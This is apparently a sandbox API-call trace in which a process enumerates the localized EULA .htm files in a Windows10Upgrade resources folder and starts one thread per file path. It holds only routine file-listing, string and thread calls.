	[0086.954] wcscpy (in: _Dest=0x4753cc8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.955] wcscat (in: _Dest=0x4753cc8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.955] wcscat (in: _Dest=0x4753cc8, _Source="EULA_fr-ca.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-ca.htm"
	[0086.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753cc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a8
	[0086.955] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e2266, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e2266, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_fr-fr.htm", cAlternateFileName="EULA_F~3.HTM")) returned 1
	[0086.955] wcscmp (_String1="EULA_fr-fr.htm", _String2=".") returned 1
	[0086.955] wcscmp (_String1="EULA_fr-fr.htm", _String2="..") returned 1
	[0086.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753d40
	[0086.955] wcscpy (in: _Dest=0x4753d40, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.955] wcscat (in: _Dest=0x4753d40, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.955] wcscat (in: _Dest=0x4753d40, _Source="EULA_fr-fr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_fr-fr.htm"
	[0086.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ac
	[0086.956] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e35dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e35dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xd3187, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_he-il.htm", cAlternateFileName="EULA_H~1.HTM")) returned 1
	[0086.956] wcscmp (_String1="EULA_he-il.htm", _String2=".") returned 1
	[0086.956] wcscmp (_String1="EULA_he-il.htm", _String2="..") returned 1
	[0086.956] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4753e30
	[0086.956] wcscpy (in: _Dest=0x4753e30, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.956] wcscat (in: _Dest=0x4753e30, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.956] wcscat (in: _Dest=0x4753e30, _Source="EULA_he-il.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm"
	[0086.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b0
	[0086.957] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e977f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e977f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_hr-hr.htm", cAlternateFileName="EULA_H~2.HTM")) returned 1
	[0086.957] wcscmp (_String1="EULA_hr-hr.htm", _String2=".") returned 1
	[0086.957] wcscmp (_String1="EULA_hr-hr.htm", _String2="..") returned 1
	[0086.957] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4733208
	[0086.957] wcscpy (in: _Dest=0x4733208, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.957] wcscat (in: _Dest=0x4733208, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.957] wcscat (in: _Dest=0x4733208, _Source="EULA_hr-hr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm"
	[0086.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b4
	[0086.957] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ebeab, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ebeab, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_hu-hu.htm", cAlternateFileName="EULA_H~3.HTM")) returned 1
	[0086.957] wcscmp (_String1="EULA_hu-hu.htm", _String2=".") returned 1
	[0086.957] wcscmp (_String1="EULA_hu-hu.htm", _String2="..") returned 1
	[0086.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4733280
	[0086.958] wcscpy (in: _Dest=0x4733280, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.958] wcscat (in: _Dest=0x4733280, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.958] wcscat (in: _Dest=0x4733280, _Source="EULA_hu-hu.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm"
	[0086.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4733280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b8
	[0086.958] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ed234, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ed234, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_it-it.htm", cAlternateFileName="EULA_I~1.HTM")) returned 1
	[0086.958] wcscmp (_String1="EULA_it-it.htm", _String2=".") returned 1
	[0086.958] wcscmp (_String1="EULA_it-it.htm", _String2="..") returned 1
	[0086.958] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4732b78
	[0086.958] wcscpy (in: _Dest=0x4732b78, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.958] wcscat (in: _Dest=0x4732b78, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.958] wcscat (in: _Dest=0x4732b78, _Source="EULA_it-it.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_it-it.htm"
	[0086.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19bc
	[0086.959] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ef94a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ef94a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3354e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ja-jp.htm", cAlternateFileName="EULA_J~1.HTM")) returned 1
	[0086.959] wcscmp (_String1="EULA_ja-jp.htm", _String2=".") returned 1
	[0086.959] wcscmp (_String1="EULA_ja-jp.htm", _String2="..") returned 1
	[0086.959] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4732bf0
	[0086.959] wcscpy (in: _Dest=0x4732bf0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.959] wcscat (in: _Dest=0x4732bf0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.959] wcscat (in: _Dest=0x4732bf0, _Source="EULA_ja-jp.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ja-jp.htm"
	[0086.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c0
	[0086.960] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f205a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f205a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x9ace3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ko-kr.htm", cAlternateFileName="EULA_K~1.HTM")) returned 1
	[0086.960] wcscmp (_String1="EULA_ko-kr.htm", _String2=".") returned 1
	[0086.960] wcscmp (_String1="EULA_ko-kr.htm", _String2="..") returned 1
	[0086.960] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4732c68
	[0086.960] wcscpy (in: _Dest=0x4732c68, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.960] wcscat (in: _Dest=0x4732c68, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.960] wcscat (in: _Dest=0x4732c68, _Source="EULA_ko-kr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ko-kr.htm"
	[0086.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732c68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c4
	[0086.961] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f33e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f33e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1293b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_lt-lt.htm", cAlternateFileName="EULA_L~1.HTM")) returned 1
	[0086.961] wcscmp (_String1="EULA_lt-lt.htm", _String2=".") returned 1
	[0086.961] wcscmp (_String1="EULA_lt-lt.htm", _String2="..") returned 1
	[0086.961] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4732f38
	[0086.961] wcscpy (in: _Dest=0x4732f38, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.961] wcscat (in: _Dest=0x4732f38, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.961] wcscat (in: _Dest=0x4732f38, _Source="EULA_lt-lt.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm"
	[0086.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c8
	[0086.961] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f5af3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f5af3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x147c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_lv-lv.htm", cAlternateFileName="EULA_L~2.HTM")) returned 1
	[0086.961] wcscmp (_String1="EULA_lv-lv.htm", _String2=".") returned 1
	[0086.961] wcscmp (_String1="EULA_lv-lv.htm", _String2="..") returned 1
	[0086.961] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4732ce0
	[0086.961] wcscpy (in: _Dest=0x4732ce0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.961] wcscat (in: _Dest=0x4732ce0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.961] wcscat (in: _Dest=0x4732ce0, _Source="EULA_lv-lv.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm"
	[0086.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19cc
	[0086.962] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3fa921, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3fa921, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10674, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_nb-no.htm", cAlternateFileName="EULA_N~1.HTM")) returned 1
	[0086.962] wcscmp (_String1="EULA_nb-no.htm", _String2=".") returned 1
	[0086.962] wcscmp (_String1="EULA_nb-no.htm", _String2="..") returned 1
	[0086.962] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x4732d58
	[0086.962] wcscpy (in: _Dest=0x4732d58, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.962] wcscat (in: _Dest=0x4732d58, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.962] wcscat (in: _Dest=0x4732d58, _Source="EULA_nb-no.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm"
	[0086.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4732d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d0
	[0086.963] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3fe3b1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3fe3b1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10698, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_nl-nl.htm", cAlternateFileName="EULA_N~2.HTM")) returned 1
	[0086.963] wcscmp (_String1="EULA_nl-nl.htm", _String2=".") returned 1
	[0086.963] wcscmp (_String1="EULA_nl-nl.htm", _String2="..") returned 1
	[0086.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d83300
	[0086.963] wcscpy (in: _Dest=0x2d83300, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.963] wcscat (in: _Dest=0x2d83300, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.963] wcscat (in: _Dest=0x2d83300, _Source="EULA_nl-nl.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm"
	[0086.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d83300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d4
	[0086.964] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ff747, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ff747, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x13f94, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_pl-pl.htm", cAlternateFileName="EULA_P~1.HTM")) returned 1
	[0086.964] wcscmp (_String1="EULA_pl-pl.htm", _String2=".") returned 1
	[0086.964] wcscmp (_String1="EULA_pl-pl.htm", _String2="..") returned 1
	[0086.964] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d828b0
	[0086.964] wcscpy (in: _Dest=0x2d828b0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.964] wcscat (in: _Dest=0x2d828b0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.964] wcscat (in: _Dest=0x2d828b0, _Source="EULA_pl-pl.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm"
	[0086.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d828b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d8
	[0086.964] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea400ac7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea400ac7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10ac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_pt-br.htm", cAlternateFileName="EULA_P~2.HTM")) returned 1
	[0086.964] wcscmp (_String1="EULA_pt-br.htm", _String2=".") returned 1
	[0086.964] wcscmp (_String1="EULA_pt-br.htm", _String2="..") returned 1
	[0086.964] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d82928
	[0086.965] wcscpy (in: _Dest=0x2d82928, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.965] wcscat (in: _Dest=0x2d82928, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.965] wcscat (in: _Dest=0x2d82928, _Source="EULA_pt-br.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm"
	[0086.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d82928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19dc
	[0086.965] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea401e7f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea401e7f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1158e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_pt-pt.htm", cAlternateFileName="EULA_P~3.HTM")) returned 1
	[0086.965] wcscmp (_String1="EULA_pt-pt.htm", _String2=".") returned 1
	[0086.965] wcscmp (_String1="EULA_pt-pt.htm", _String2="..") returned 1
	[0086.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d82ec8
	[0086.965] wcscpy (in: _Dest=0x2d82ec8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.965] wcscat (in: _Dest=0x2d82ec8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.965] wcscat (in: _Dest=0x2d82ec8, _Source="EULA_pt-pt.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm"
	[0086.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d82ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e0
	[0086.966] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5c6190, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5c6190, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ro-ro.htm", cAlternateFileName="EULA_R~1.HTM")) returned 1
	[0086.966] wcscmp (_String1="EULA_ro-ro.htm", _String2=".") returned 1
	[0086.966] wcscmp (_String1="EULA_ro-ro.htm", _String2="..") returned 1
	[0086.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d83378
	[0086.966] wcscpy (in: _Dest=0x2d83378, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.966] wcscat (in: _Dest=0x2d83378, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.966] wcscat (in: _Dest=0x2d83378, _Source="EULA_ro-ro.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm"
	[0086.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d83378, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e4
	[0086.967] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x454cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_ru-ru.htm", cAlternateFileName="EULA_R~2.HTM")) returned 1
